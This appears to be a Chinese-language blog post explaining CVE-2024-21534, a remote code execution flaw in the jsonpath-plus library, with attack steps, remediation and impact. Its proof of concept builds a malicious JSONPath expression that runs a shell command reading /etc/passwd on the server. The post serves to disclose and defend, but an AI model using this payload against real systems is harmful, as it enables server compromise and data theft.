JSONPath Plus Remote Code Execution (RCE) 漏洞

jsonpath-plus 是一个用于查询和操作 JSON 数据的 JavaScript 库,类似于 XML 的 XPath。在 10.2.0 之前的版本中,存在一个严重的安全漏洞,编号为 CVE-2024-21534,攻击者可以利用此漏洞在服务器上执行任意代码,即远程代码执行(RCE)。

漏洞原理

该漏洞源于 jsonpath-plus 未能充分过滤用户输入,导致攻击者可以通过构造恶意的 JSONPath 表达式来执行任意 JavaScript 代码. jsonpath-plus 内部使用了 Node.js 的 vm 模块,该模块允许在沙箱环境中运行代码。但如果未对输入进行适当的清理,攻击者便可利用 vm 模块执行恶意代码.

即使在 10.0.0 版本之后,jsonpath-plus 尝试修复此漏洞,但仍可以使用不同的Payload绕过。

实际应用例子

假设你有一个在线商店,允许用户使用 JSONPath 查询商品信息。如果你的应用使用了存在漏洞的 jsonpath-plus 版本,攻击者可以构造一个包含恶意 JavaScript 代码的 JSONPath 表达式,例如读取服务器上的敏感文件或执行系统命令[1]。

攻击步骤

  1. 恶意输入构造:攻击者创建一个包含恶意 JavaScript 代码的 JSONPath 表达式。
  2. 注入点 :将恶意 JSONPath 表达式提供给应用程序的端点,该端点使用 jsonpath-plus 处理用户提供的 JSON 数据查询。
  3. 代码执行 :应用程序使用 vm 模块评估表达式,而没有进行适当的清理,导致攻击者的代码在服务器上执行。

PoC Demo

javascript 复制代码
// index.js
const { JSONPath } = require("jsonpath-plus");

const data = {};

// 恶意代码,例如读取 /etc/passwd 文件
const maliciousCode = 'require("child_process").exec("cat /etc/passwd")';

// 构造包含恶意代码的 JSONPath 表达式
const maliciousPath = `$[(this.constructor.constructor("${maliciousCode}")())]`;

// 使用 JSONPath 执行查询
const result = JSONPath({
  json: data,
  path: maliciousPath
});

修复方案

  1. 升级 jsonpath-plus:升级到 10.2.0 或更高版本,该版本已修复此漏洞。
  2. 代码审查:检查代码中是否存在可能重新启用不安全功能的自定义配置,并进行相应调整。
  3. 输入清理:始终确保对用户输入进行适当的清理,以防止注入攻击。

影响

  • 未授权访问:攻击者可以获得对系统的未授权访问。
  • 数据泄露:敏感信息可能被暴露或窃取。
  • 系统入侵:可能导致完整的系统入侵,从而导致服务中断或其他攻击。

其他受影响的应用

IBM App Connect Enterprise 存在由于 jsonpath-plus 导致的多重漏洞。

相关推荐
weixin_456904275 小时前
Spring Boot 用户管理系统
java·spring boot·后端
cyforkk6 小时前
Spring 异常处理器:从混乱到有序,优雅处理所有异常
java·后端·spring·mvc
程序员爱钓鱼7 小时前
Go语言实战案例-开发一个Markdown转HTML工具
前端·后端·go
桦说编程7 小时前
爆赞!完全认同!《软件设计的哲学》这本书深得我心
后端
thinktik7 小时前
还在手把手教AI写代码么? 让你的AWS Kiro AI IDE直接读飞书需求文档给你打工吧!
后端·serverless·aws
老青蛙10 小时前
权限系统设计-用户设计
后端
echoyu.10 小时前
消息队列-初识kafka
java·分布式·后端·spring cloud·中间件·架构·kafka
yuluo_YX10 小时前
Go Style 代码风格规范
开发语言·后端·golang
David爱编程10 小时前
从 JVM 到内核:synchronized 与操作系统互斥量的深度联系
java·后端